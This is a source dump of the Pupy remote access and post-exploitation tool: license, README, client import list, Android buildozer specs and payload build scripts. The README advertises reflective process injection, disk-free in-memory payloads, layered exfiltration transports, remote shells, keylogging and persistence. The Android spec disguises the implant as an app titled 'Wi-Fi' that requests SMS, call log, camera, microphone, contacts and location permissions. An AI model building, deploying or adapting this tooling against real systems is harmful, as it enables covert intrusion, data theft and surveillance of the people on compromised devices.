  - secure: Ro35F3YR2e1vOnDSBTHe9HdUxC7N0CEk9cxNaiOrF34qm8EhS4SJT5pv6rmNWPw8eKctS35NFtHPkkPI1WSsomFxDSd36cq2e2vfO4vrfqojXEvPqeoJMneLV1/cmNUlX8kz3NDxOCyRBaPzF1fhem7QAmdWPZ005JzaZzPysQVXe0eTH5M1JKlLWBKkMgIDb/T0pI/zPq/kJc5V81ci9D7IVe8hlNR6SdSIZ4xOvBfZcPGMRZHew9yMIvI9a81uSplBy1LkX557Udj9n3A/4K5OsY+mrsJRd7Yk1AHB4SPLc2fW9GXiUCTVFCViQFX3YwdcPdbLnHVZbsVE6TfSrgN4GndG2OIkcVNXMgnNYk9bFjRcrXa+i+Oa2nnOQ0eYdvXuW5kGPoeoyJQZZWa9c3fWgt71Ze7eP/6SWIQ4mEyzpbWVHqL8m7aNGvI8/mfqlSk138ZiDYY1Va/IlcWwrBerkQaUz7a/j6sohB2zpua05LNrxW8ZPDhMo0Kq+U+e/x6Qqgc35MnnfhJR8AvA2CRccaxptWBcfzFlJ1CHhLKhdwSA8zfa58vRDnGphwqYO+FF44Tmr1NwRMT3ytHB5GtTSlUjzy0Evmyf81hhI0S+5L2Oeuv1n0sQEf/qS9Tfppuc36gAQClRgmHFgmM5WkIOQy/lyRKDUkM7/JUsE50=


================================================
FILE: LICENSE
================================================
Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice, this list of conditions and the following disclaimer in the documentation and/or other materials provided with the distribution.

3. Neither the name of the copyright holder nor the names of its contributors may be used to endorse or promote products derived from this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE

Pupy also uses some code source/libraries from other projects under different licenses. Among these project, you may find :
	-For the client part:
		cf the file client/sources/LICENSES.txt
	-For the packages located in pupy/packages/:
		-VideoCapture by Markus Gritsch (m.gritsch@gmail.com) under the LGPL license.
			http://videocapture.sourceforge.net/
		-psutil by Giampaolo Rodola under the BSD license
			https://github.com/giampaolo/psutil
	-For the external libraries in pupy/external/
		-creddump software is under GPLv3 license, you can see the full license terms in pupy/external/creddump7/COPYING.orig
	-For the transports :
		-obfsproxy software is under the 3-Clause BSD License. Copyright 2013 George Kadianakis
	-For the launchers :
		-SocksiPy - Python SOCKS module. 3-Clause BSD License. Copyright 2006 Dan-Haim. (cf pupy/network/socks.py)



================================================
FILE: README.md
================================================
# Pupy

[![Build Status](https://api.travis-ci.org/n1nj4sec/pupy.svg?branch=unstable)](https://travis-ci.org/n1nj4sec/pupy)

## Simple Installation

```
pip3 install pipx
pipx ensurepath
pipx install git+https://github.com/n1nj4sec/pupy@nextgen

pupysh
```
~~If you want more detailed information [Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki/Installation)~~

## Development Install

```
git clone https://github.com/n1nj4sec/pupy
cd pupy
git checkout nextgen
git submodule init
git submodule update

pip install venv
python3 -m venv pupyvenv
source pupyvenv/bin/activate
pip install -r requirements.txt
```
run pupysh from the dev install :
```
source pupyenv/bin/activate
python3 -m pupy.cli
```

## Description

Pupy is a cross-platform, multi function C2 and post-exploitation tool mainly written in python. It features an all-in-memory execution guideline and leaves a very low footprint. Pupy can communicate using multiple transports, migrate into processes using reflective injection, and load remote python code, python packages and python C-extensions from memory.

## Features

- Windows payload can load the entire Python interpreter from memory using a reflective DLL.
	- Pupy does not touch the disk.

- Can be packed into a single .py file and run without any dependencies other than the python standard library on all OSes.
	- PyCrypto gets replaced by pure Python AES & RSA implementations when unavailable.

- Reflectively migrate into other processes.
- Remotely import pure python packages (.py, .pyc) and compiled python C extensions (.pyd, .so) from memory.
	- Imported python modules do not touch the disk.

- Easily extensible, modules are simple to write and are sorted by os and category.

- Modules can directly access python objects on the remote client using [rpyc](https://github.com/tomerfiliba/rpyc).

- Access remote objects interactively from the pupy shell and get auto-completion of remote attributes.

- Communication transports are modular and stackable. Exfiltrate data using HTTP over HTTP over AES over XOR, or any combination of the available transports.

- Communicate using obfsproxy [pluggable transports.](https://www.torproject.org/docs/pluggable-transports.html.en)

- Execute noninteractive commands on multiple hosts at once.

- Commands and scripts running on remote hosts are interruptible.

- Auto-completion for commands and arguments.

- Custom config can be defined: command aliases, modules. automatically run at connection, etc.

- Open interactive python shells with auto-completion on the all-in-memory remote python interpreter.

- Interactive shells (cmd.exe, /bin/bash, etc) can be opened remotely.
	- Remote shells on Unix & Windows clients have a real tty with all keyboard signals working just like an SSH shell.

- Execute PE executable remotely and from memory.

- Generate payloads in various formats:

| Format | Architecture | Short Name |
|---|---|---|
~~ Android Package ~~ | x86 & ARMv7 | apk
Linux Binary | x86 | lin_x86
Linux Binary | x64 | lin_x64
Linux Shared Object | x86 | so_x86
Linux Shared Object | x64 | so_x64
Windows PE Executable | x86 | exe_x86
Windows PE Executable | x64 | exe_x64
Windows DLL | x86 | dll_x86
Windows DLL | x64 | dll_x64
Python Script | x86 & x64 | py
Python Oneliner | x86 & x64 | py_oneliner
Powershell | x86 & x64 | ps1
Powershell Oneliner | x86 & x64 | ps1_oneliner

- Deploy in memory from a single command line using python or powershell one-liners.

- Embed "scriptlets" in generated payloads to perform some tasks "offline" without needing network connectivity (ex: start keylogger, add persistence, execute custom python script, check_vm, etc.)

- Multiple Target Platforms:

| Platform | Support Status |
|---|---|
Windows XP | ~~ Supported ~~ python dropped support
Windows 7 | ~~ Supported ~~ python dropped support
Windows 8 | Supported
Windows 10 | Supported
Linux | Supported
Mac OSX | Limited Support
Android | Limited Support

## Documentation

All documentation can be found on the wiki.

[Refer to the wiki](https://github.com/n1nj4sec/pupy/wiki)

## FAQ

> Does the server work on windows?

Pupy has not been tested on Windows. Theoretically, it should work on any platform that supports Docker and Docker Compose. However, you will need to adapt the Docker Compose installation instructions for the Windows platform.

> I can't install Pupy. The installation fails.

1. Please refer to the wiki. It is possible that your answer is there.
2. Search the Github issues and see if your issue was already solved.
3. If you issue was not solved, open a new issue following the [issue guidelines](https://github.com/n1nj4sec/pupy/wiki/Issue-Guidelines).

If you do not follow these steps, you issue will be closed.

> Android and/or Mac OSX payloads and modules don't work.

Pupy has _limited_ support for Android and OSX. These platforms may not be well maintained and may break intermittently. Some modules (i.e. keylogger) may be missing for these platforms.

## Development

If some of you want to participate to pupy development, don't hesitate! All help is greatly appreciated and all pull requests will be reviewed.

Also there is small [note](https://github.com/n1nj4sec/pupy/wiki/Development) about development. Please run flake8 before doing any commits. File with config is [here](pupy/tox.ini).

## Contact

| Platform | Contact Info |
|---|---|
Email | contact@n1nj4.eu
Twitter | https://twitter.com/n1nj4sec

This project is a [personal development](https://en.wikipedia.org/wiki/Personal_development), please respect its philosophy and don't use it for evil purposes!

## Special thanks

Special thanks to all contributors & supporters that help improve pupy and make it a better tool! :)


================================================
FILE: client/additional_imports.py
================================================
from __future__ import print_function
import umsgpack
import socket
import threading
import queue
import collections
import _struct
import struct
import os
import sys
import time
import traceback
import uuid
import subprocess
import imp
import hashlib
import hmac
import base64
import logging
import re
import ssl
import tempfile
import string
import datetime
import random
import shutil
import platform
import errno
import stat
import zlib
import code
import glob
import math
import binascii
import shlex
import json
import ctypes
import threading
import urllib
import getpass
import __future__
import netaddr
import urllib_auth
import http_parser
import unicodedata
import getpass

import importlib
import importlib.util
import contextlib
import warnings
import abc
import _py_abc
import keyword

try:
    import psutil
except Exception as e:
    print("psutil: ", e)
import pyexpat
import fnmatch

try:
    import dukpy
except ImportError:
    print("dukpy not found")

try:
    import kcp
except ImportError:
    print("kcp not found")

try:
    import uidle
except ImportError:
    print("uidle not found")

#import poster

if 'win' in sys.platform:
    import ctypes.wintypes

    try:
        import win_inet_pton
    except AttributeError:
        pass

    import winkerberos
else:
    import pty
    try:
        import kerberos
    except ImportError:
        print("kerberos not found")


================================================
FILE: client/android_sources/build-docker.sh
================================================
#!/bin/sh

SELF=`readlink -f "$0"`
SELFPWD=`dirname "$SELF"`
SRC=${SELFPWD:-`pwd`}

cd $SRC

TEMPLATES=`readlink -f ../../pupy/payload_templates`

rm -f $TEMPLATES/pupy.apk

rm -f buildozer.spec
sed -e "s@%BUILDOZER%@$BUILDOZER_CACHE@" buildozer-docker.spec  >buildozer.spec
buildozer android release

mv $SRC/bin/Wi-Fi-0.1-release-unsigned.apk $TEMPLATES/pupy.apk || exit 1


================================================
FILE: client/android_sources/build.sh
================================================
#!/bin/sh
export PATH=$PATH:$HOME/.local/bin

pip install --user --upgrade git+https://github.com/kivy/buildozer
[ -f buildozer.spec ] || ln -sf buildozer.spec.example buildozer.spec
buildozer android release
mv .buildozer/android/platform/build/dists/pupy/bin/Wi-Fi-0.1-release-unsigned.apk \
 ../../pupy/payload_templates/pupy.apk || exit 1
rm -rf .buildozer/android/platform/build
rm -rf ~/.buildozer/android/platform/*.tar.gz
rm -rf ~/.buildozer/android/platform/*.tgz
rm -rf ~/.buildozer/android/platform/*.tar.bz2


================================================
FILE: client/android_sources/buildozer-docker.spec
================================================
[app]

title = Wi-Fi
package.name = pupy
package.domain = org.pupy
source.dir = .
source.include_exts = py,pyc,pyo,png,jpg,kv,atlas
#source.include_patterns = assets/*,images/*.png
#source.exclude_exts = spec
source.exclude_dirs = python-for-android, bin
#source.exclude_patterns = license,images/*/*.jpg
version = 0.1

requirements = genericndkbuild,pycryptodome,plyer,psutil,tinyec,netaddr,dnslib,pyjnius,pyuv,cryptography,kcp,msgpack-python,scandir,ushlex
#presplash.filename = %(source.dir)s/data/presplash.png
#icon.filename = %(source.dir)s/data/icon.png
orientation = all
fullscreen = 0

android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE

#android.api = 19
#android.minapi = 9
#android.sdk = 20
#android.ndk = 9c
#android.private_storage = True
#android.ndk_path =
#android.sdk_path =
#android.ant_path =

p4a.source_dir = python-for-android
# p4a.local_recipes = python-for-android/pythonforandroid/recipes

#p4a.hook =

android.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so
android.skip_update = True
p4a.bootstrap = badservice

#android.add_src =
#android.add_aars =

#android.add_libs_armeabi = libs/android/*.so
#android.add_libs_armeabi_v7a = libs/android-v7/*.so
#android.add_libs_x86 = libs/android-x86/*.so
#android.add_libs_mips = libs/android-mips/*.so

#android.wakelock = False
#android.meta_data =
#android.library_references =
#android.logcat_filters = *:S python:D
#android.copy_libs = 1

android.arch = armeabi-v7a

[buildozer]
log_level = 1
warn_on_root = 0
build_dir = %BUILDOZER%
# bin_dir = ./bin


================================================
FILE: client/android_sources/buildozer.spec.example
================================================
[app]

# (str) Title of your application
title = Wi-Fi

# (str) Package name
package.name = pupy

# (str) Package domain (needed for android/ios packaging)
package.domain = org.pupy

# (str) Source code where the main.py live
source.dir = .

# (list) Source files to include (let empty to include all the files)
source.include_exts = py,pyc,pyo,png,jpg,kv,atlas

# (list) List of inclusions using pattern matching
#source.include_patterns = assets/*,images/*.png

# (list) Source files to exclude (let empty to not exclude anything)
#source.exclude_exts = spec

# (list) List of directory to exclude (let empty to not exclude anything)
source.exclude_dirs = python-for-android, bin

# (list) List of exclusions using pattern matching
#source.exclude_patterns = license,images/*/*.jpg

# (str) Application versioning (method 1)
version = 0.1

# (str) Application versioning (method 2)
# version.regex = __version__ = ['"](.*)['"]
# version.filename = %(source.dir)s/main.py

# (list) Application requirements
# comma seperated e.g. requirements = sqlite3,kivy
requirements = pycrypto,plyer,psutil,tinyec,netaddr,pyjnius,pyuv,cryptography

# (str) Custom source folders for requirements
# Sets custom source for any requirements with recipes
# requirements.source.kivy = ../../kivy

# (list) Garden requirements
#garden_requirements =

# (str) Presplash of the application
#presplash.filename = %(source.dir)s/data/presplash.png

# (str) Icon of the application
#icon.filename = %(source.dir)s/data/icon.png

# (str) Supported orientation (one of landscape, portrait or all)
orientation = all

# (list) List of service to declare
# services = pupy:service/main.py

#
# OSX Specific
#

#
# author = © Copyright Info

# change the major version of python used by the app
osx.python_version = 3

# Kivy version to use
osx.kivy_version = 1.9.1

#
# Android specific
#

# (bool) Indicate if the application should be fullscreen or not
fullscreen = 0

# (string) Presplash background color (for new android toolchain)
# Supported formats are: #RRGGBB #AARRGGBB or one of the following names:
# red, blue, green, black, white, gray, cyan, magenta, yellow, lightgray,
# darkgray, grey, lightgrey, darkgrey, aqua, fuchsia, lime, maroon, navy,
# olive, purple, silver, teal.
#android.presplash_color = #FFFFFF

# (list) Permissions
android.permissions = INTERNET,READ_EXTERNAL_STORAGE,WRITE_EXTERNAL_STORAGE,VIBRATE,CAMERA,READ_CONTACTS,GET_ACCOUNTS,RECORD_AUDIO,READ_PHONE_STATE,READ_CALL_LOG,WRITE_CALL_LOG,CALL_PHONE,CALL_PRIVILEGED,USE_SIP,PROCESS_OUTGOING_CALLS,ADD_VOICEMAIL,READ_SMS,SEND_SMS,RECEIVE_SMS,RECEIVE_MMS,RECEIVE_WAP_PUSH,CHANGE_CONFIGURATION,CHANGE_NETWORK_STATE,CHANGE_WIFI_MULTICAST_STATE,CHANGE_WIFI_STATE,CLEAR_APP_CACHE,CONTROL_LOCATION_UPDATES,DELETE_PACKAGES,DUMP,FACTORY_TEST,FLASHLIGHT,GLOBAL_SEARCH,KILL_BACKGROUND_PROCESSES,MANAGE_DOCUMENTS,MEDIA_CONTENT_CONTROL,MODIFY_AUDIO_SETTINGS,NFC,ACCESS_COARSE_LOCATION,ACCESS_FINE_LOCATION,ACCESS_LOCATION_EXTRA_COMMANDS,ACCOUNT_MANAGER,BLUETOOTH_ADMIN,BLUETOOTH,BLUETOOTH_PRIVILEGED,ACCESS_NETWORK_STATE


# (int) Android API to use
#android.api = 19

# (int) Minimum API required
#android.minapi = 9

# (int) Android SDK version to use
#android.sdk = 20

# (str) Android NDK version to use
#android.ndk = 9c

# (bool) Use --private data storage (True) or --dir public storage (False)
#android.private_storage = True

# (str) Android NDK directory (if empty, it will be automatically downloaded.)
#android.ndk_path =

# (str) Android SDK directory (if empty, it will be automatically downloaded.)
#android.sdk_path =

# (str) ANT directory (if empty, it will be automatically downloaded.)
#android.ant_path =

# (str) python-for-android git clone directory (if empty, it will be automatically cloned from github)
p4a.source_dir = python-for-android

# (str) The directory in which python-for-android should look for your own build recipes (if any)
p4a.local_recipes = python-for-android/pythonforandroid/recipes

# (str) Filename to the hook for p4a
#p4a.hook =

# (list) python-for-android whitelist
android.whitelist = lib-dynload/termios.so,lib-dynload/mmap.so,lib-dynload/_json.so,lib-dynload/pyexpat.so

# (bool) If True, then skip trying to update the Android sdk
# This can be useful to avoid excess Internet downloads or save time
# when an update is due and you just want to test/build your package
# android.skip_update = True

# (str) Bootstrap to use for android builds (android_new only)
p4a.bootstrap = badservice

# (str) Android entry point, default is ok for Kivy-based app
#android.entrypoint = org.renpy.android.PythonActivity

# (list) List of Java .jar files to add to the libs so that pyjnius can access
# their classes. Don't add jars that you do not need, since extra jars can slow
# down the build process. Allows wildcards matching, for example:
# OUYA-ODK/libs/*.jar
#android.add_jars = foo.jar,bar.jar,path/to/more/*.jar

# (list) List of Java files to add to the android project (can be java or a
# directory containing the files)
#android.add_src =

# (list) Android AAR archives to add (currently works only with sdl2_gradle
# bootstrap)
#android.add_aars =

# (list) Gradle dependencies to add (currently works only with sdl2_gradle
# bootstrap)
#android.gradle_dependencies =

# (str) python-for-android branch to use, if not master, useful to try
# not yet merged features.
#android.branch = master

# (str) OUYA Console category. Should be one of GAME or APP
# If you leave this blank, OUYA support will not be enabled
#android.ouya.category = GAME

# (str) Filename of OUYA Console icon. It must be a 732x412 png image.
#android.ouya.icon.filename = %(source.dir)s/data/ouya_icon.png

# (str) XML file to include as an intent filters in <activity> tag
#android.manifest.intent_filters =

# (list) Android additionnal libraries to copy into libs/armeabi
#android.add_libs_armeabi = libs/android/*.so
#android.add_libs_armeabi_v7a = libs/android-v7/*.so
#android.add_libs_x86 = libs/android-x86/*.so
#android.add_libs_mips = libs/android-mips/*.so

# (bool) Indicate whether the screen should stay on
# Don't forget to add the WAKE_LOCK permission if you set this to True
#android.wakelock = False

# (list) Android application meta-data to set (key=value format)
#android.meta_data =

# (list) Android library project to add (will be added in the
# project.properties automatically.)
#android.library_references =

# (str) Android logcat filters to use
#android.logcat_filters = *:S python:D

# (bool) Copy library instead of making a libpymodules.so
#android.copy_libs = 1

# (str) The Android arch to build for, choices: armeabi-v7a, arm64-v8a, x86
android.arch = armeabi-v7a

#
# iOS specific
#

# (str) Path to a custom kivy-ios folder
#ios.kivy_ios_dir = ../kivy-ios

# (str) Name of the certificate to use for signing the debug version
# Get a list of available identities: buildozer ios list_identities
#ios.codesign.debug = "iPhone Developer: <lastname> <firstname> (<hexstring>)"

# (str) Name of the certificate to use for signing the release version
#ios.codesign.release = %(ios.codesign.debug)s


[buildozer]

# (int) Log level (0 = error only, 1 = info, 2 = debug (with command output))
log_level = 1

# (int) Display warning if buildozer is run as root (0 = False, 1 = True)
warn_on_root = 0

# (str) Path to build artifact storage, absolute or relative to spec file
# build_dir = ./.buildozer

# (str) Path to build output (i.e. .apk, .ipa) storage
# bin_dir = ./bin

#    -----------------------------------------------------------------------------
#    List as sections
#
#    You can define all the "list" as [section:key].
#    Each line will be considered as a option to the list.
#    Let's take [app] / source.exclude_patterns.
#    Instead of doing:
#
#[app]
#source.exclude_patterns = license,data/audio/*.wav,data/images/original/*
#
#    This can be translated into:
#
#[app:source.exclude_patterns]
#license
#data/audio/*.wav
#data/images/original/*
#


#    -----------------------------------------------------------------------------
#    Profiles
#
#    You can extend section / key with a profile
#    For example, you want to deploy a demo version of your application without
#    HD content. You could first change the title to add "(demo)" in the name
#    and extend the excluded directories to remove the HD content.
#
#[app@demo]
#title = My Application (demo)
#
#[app:source.exclude_patterns@demo]
#images/hd/*
#
#    Then, invoke the command line with the "demo" profile:
#
#buildozer --profile demo android debug


================================================
FILE: client/android_sources/main.py
================================================
#!/usr/bin/env python
# -*- coding: utf-8 -*-
# Copyright (c) 2015, Nicolas VERDIER (contact@n1nj4.eu)
# Pupy is under the BSD 3-Clause license. see the LICENSE file at the root of the project for the detailed licence terms

import os
import platform
import time

os.environ['KIVY_NO_FILELOG'] = 'yes'
platform.system = lambda: 'android'

if __name__ == '__main__':
    import sys
    setattr(sys, 'executable', 'PythonService')

    import pp

    while True:
        try:
            pp.main()
        except Exception as e:
            import traceback
            traceback.print_exc()
            time.sleep(10)


================================================
FILE: client/android_sources/pp.py
================================================
from __future__ import print_function
import time

def main():
    print("pp.py is not replaced with working one!")
    time.sleep(1)

================================================
FILE: client/build-docker.sh
================================================
#!/bin/bash

SELF=`readlink -f "$0"`
PUPY=`dirname "$SELF"`/../
PUPY=`readlink -f "$PUPY"`

DOCKER_COMMAND=${DOCKER_COMMAND:-docker}
DOCKER_REPO=${DOCKER_REPO:-"n1nj4sec"}
CLEAN=${CLEAN:-"no"}

if [ ! -z "$REPO" ]; then
    if [ "$REPO" == "local" ]; then
        REPO=""
    else
        REPO="$REPO/"
    fi
else
    REPO="${DOCKER_REPO}/"
fi

echo $PUPY

set -e

start_container() {
    TOOLCHAIN="tc-$1"
    CONTAINER_NAME="build-pupy-$1"
    SOURCES="$2"
    SCRIPT="client/$SOURCES/build-docker.sh"

    (
	echo
	echo "[+] Build $SOURCES with toolchain ${REPO}$TOOLCHAIN"
	NEW=""
	${DOCKER_COMMAND} container inspect ${CONTAINER_NAME} >/dev/null 2>/dev/null || NEW=1
	if [ ! -z "$NEW" ]; then
	    mkdir -p /tmp/pupy-build/${REPO}${TOOLCHAIN}
	    ${DOCKER_COMMAND} run --name ${CONTAINER_NAME} \
		   -v ${PUPY}:/build/workspace/project ${REPO}${TOOLCHAIN} ${SCRIPT}
	else
	    ${DOCKER_COMMAND} start -ai ${CONTAINER_NAME}
	fi

	if [ "$CLEAN" == "yes" ]; then
	    ${DOCKER_COMMAND} rm ${CONTAINER_NAME}
	fi
	echo
    )
}

if [ ! -z "$1" ] && [ ! -z "$2" ]; then
	start_container $1 $2
else
    start_container windows-py3 sources-windows-py3
    start_container pupy-linux-py3 sources-linux-py3

	#start_container linux32 sources-linux
	#start_container linux-amd64-py3 sources-linux-py3
	#start_container linux-amd64-py2 sources-linux-py2
	#start_container android android_sources
fi


================================================
FILE: client/build_library_zip.py
================================================
# -*- coding: utf-8 -*-

from __future__ import print_function

import site
import sys
import sysconfig
import os
import imp
import importlib
import marshal

import shutil
import zipfile

from glob import glob
from distutils.core import setup


THIS = os.path.abspath(__file__)
ROOT = os.path.dirname(os.path.dirname(THIS))

print("THIS:", THIS)
print("ROOT: ", ROOT)

PATCHES=None
if sys.version_info[0]==2 :
    PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py2')
else:
    PATCHES = os.path.join(ROOT, 'pupy', 'library_patches_py3')
sys.path.insert(0, PATCHES)

sys.path.append(os.path.join(ROOT))
#sys.path.append(os.path.join(ROOT, 'pupy', 'pupylib'))


setattr(sys, "__from_build_library_zip_compiler__", True)
from pupy.pupylib.PupyCompile import pupycompile

sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'all'))

if sys.platform == 'win32':
    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'windows', 'all'))
elif sys.platform.startswith('linux'):
    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'linux', 'all'))
    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all'))
else:
    sys.path.append(os.path.join(ROOT, 'pupy', 'packages', 'posix', 'all'))

import additional_imports

print("Load pupy")

try:
    import pupy.agent
    print("Module loaded")
    pupy.agent.prepare(debug=True)
    print("Prepare called")
except Exception as e:
    print("Load pupy.. FAILED: {}".format(e))
    raise

print("Load pupy.. OK")


sys_modules = [
    (x, sys.modules[x]) for x in sys.modules.keys()
]

compile_map = []


def compile_py(path):
    global compile_map
    global fileid

    fileid = len(compile_map)
    compile_map.append(path)

    data = None

    try:
        data = pupycompile(path, 'f:{:x}'.format(fileid), path=True)
        print("[C] {} -> f:{:x}".format(path, fileid))
    except ValueError:
        print("[C] {} -> failed".format(path))

    return data


all_dependencies = set(
    [
        x.split('.')[0] for x, m in sys_modules
        if '(built-in)' not in str(m) and x != '__main__'
    ] + [
        'Crypto', 'pyasn1', 'rsa', 'stringprep'
    ]
)

all_dependencies.add('site')
all_dependencies.add('sysconfig')
all_dependencies.add('re')

exceptions = (
    'pupy', 'pupy.agent', 'pupy.network', 'pupyimporter', 'additional_imports', 'pupy_hooks', 'pupy_modules',
    'network', 'pupyimporter', 'additional_imports', '_openssl'
)

all_dependencies = sorted(list(set(all_dependencies)))
for dep in list(all_dependencies):
    for excluded in exceptions:
        if dep == excluded or dep.startswith(excluded + '.'):
            try:
                all_dependencies.remove(dep)
            except Exception as e:
                print("could not remove dependency {}: {}".format(dep, e))


ignore = {
    '_cffi_backend.pyd',

    # We don't use this anyway
    'Crypto/PublicKey/ElGamal.py',
    'Crypto/PublicKey/RSA.py',
    'Crypto/PublicKey/_openssh.py',
    'Crypto/PublicKey/_ec_ws.so',
    'Crypto/PublicKey/_ec_ws.pyd',
    'Crypto/PublicKey/ECC.py',
    'Crypto/PublicKey/__init__.py',
    'Crypto/PublicKey/DSA.py',

    # If it's known that GSSAPI is used and required during bootstrap,
    # it's worth to comment this line (adds 1MB)
    'kerberos.so',

    'json/tool.py',
    'rsa/cli.py',
}

if sys.platform.startswith('linux'):
    ignore.update({
        'psutil/_pswindows.py'
    })
elif sys.platform.startswith('win'):
    ignore.update({
        '_psaix.py',
        '_psbsd.py',
        '_pslinux.py',
        '_psosx.py',
        '_pssunos.py'
    })

for dep in ('cffi', 'pycparser', 'pyaes', 'distutils'):
    if dep in all_dependencies:
        all_dependencies.remove(dep)

print("ALLDEPS: ", all_dependencies)


zf = zipfile.ZipFile(sys.argv[1], mode='w', compression=zipfile.ZIP_DEFLATED)

zf.writestr(
    'bundlevars.pyo',
    pupycompile(
        'bundlevars={}'.format(repr({
            k: v for k, v in sysconfig.get_config_vars().items()
            if k not in (
                'BINDIR', 'BINLIBDEST', 'CONFINCLUDEDIR', 'CONFINCLUDEPY',
                'COREPYTHONPATH', 'COVERAGE_INFO', 'COVERAGE_REPORT',
                'DESTDIRS', 'DESTLIB', 'DESTSHARED', 'INCLDIRSTOMAKE',
                'INCLUDEDIR', 'INCLUDEPY', 'INSTALL', 'INSTALL_DATA',
                'INSTALL_PROGRAM', 'INSTALL_SCRIPT', 'INSTALL_SHARED',
                'LIBDEST', 'LIBDIR', 'LIBFFI_INCLUDEDIR', 'LIBOBJDIR',
                'LIBP', 'LIBPC', 'LIBPL', 'LIBSUBDIRS', 'MACHDEPPATH',
                'MACHDESTLIB', 'MAKESETUP', 'MANDIR', 'MKDIR_P', 'PLATMACDIRS',
                'PLATMACPATH', 'PYTHONPATH', 'RUNSHARED', 'SCRIPTDIR',
                'SRC_GDB_HOOKS', 'TESTPROG', 'TESTPYTHON', 'abs_builddir',
                'abs_srcdir', 'base', 'datarootdir', 'exec_prefix', 'platbase',
                'prefix', 'projectbase', 'userbase'
            )
        })),
        '<vars>', path=False
    )
)

import platform
#TODO: update if needed
if 'win' in sys.platform:
    bits='64' if '64' in platform.architecture()[0] else '32'
    for root, _, files in os.walk('C:\\Python3-'+bits+'\\Lib\\site-packages'):
        for file in files:
            if file.lower().endswith((".dll",".pyd")):
                print("interesting file :", file)
            if file.lower() in ('_win32sysloader.pyd'):
                zf.write(os.path.join(root, file), file)
            if file.lower().startswith("pywintypes") and file.lower().endswith(".dll"):
                zf.write(os.path.join(root, file), file)

try:
    content = set(ignore)
    for dep in all_dependencies:
        #spec=importlib.util.find_spec(dep)
        #print(spec)
        #print(dir(spec))
        print(dep)
        if dep.startswith("_cython_") or dep in ["cython_runtime", "pywin32_system32"]:
            continue
        _, mpath, info = imp.find_module(dep)
        #print("mpath", mpath, "info", info)
        if mpath == None:
            continue
        print("DEPENDENCY: ", dep, mpath)
        if info[2] == imp.PKG_DIRECTORY:
            print('adding package %s / %s' % (dep, mpath))
            path, root = os.path.split(mpath)
            for root, dirs, files in os.walk(mpath):
                for f in list(set([x.rsplit('.', 1)[0] for x in files])):
                    found = False
                    need_compile = True
                    for ext in ('.dll', '.so', '.pyd', '.py', '.pyc', '.pyo'):
                        if (ext == '.pyc' or ext == '.pyo') and found:
                            continue

                        pypath = os.path.join(root, f+ext)
                        if os.path.exists(pypath):
                            ziproot = root[len(path)+1:].replace('\\', '/')
                            zipname = '/'.join([ziproot,
                                                f.split('.', 1)[0] + ext])
                            found = True

                            if ziproot.startswith('site-packages'):
                                ziproot = ziproot[14:]

                            if zipname.startswith('network/transports/') and \
                                    not zipname.startswith('network/transports/__init__.py'):
                                continue

                            # Remove various testcases if any
                            if any(['/'+x+'/' in zipname for x in [
                                'tests', 'test', 'SelfTest', 'SelfTests', 'examples',
                                'experimental', '__pycache__'
                            ]
                            ]):
                                continue

                            if zipname in content:
                                continue

                            file_root = root

                            if os.path.exists(os.path.join(PATCHES, f+'.py')):
                                print('found [PATCH] for {}'.format(f))
                                file_root = PATCHES
                                ext = '.py'
                            elif os.path.exists(os.path.sep.join([PATCHES] + zipname.split('/'))):
                                print('found [PATCH ZROOT] for {}'.format(f))
                                file_root = os.path.sep.join(
                                    [PATCHES] + ziproot.split('/'))
                                ext = '.py'

                            if ext == '.py' and need_compile:
                                bytecode = compile_py(os.path.join(file_root, f+ext))
                                if not bytecode:
                                    continue

                                zf.writestr(zipname+'o', bytecode)
                            else:
                                zf.write(os.path.join(
                                    file_root, f+ext), zipname)

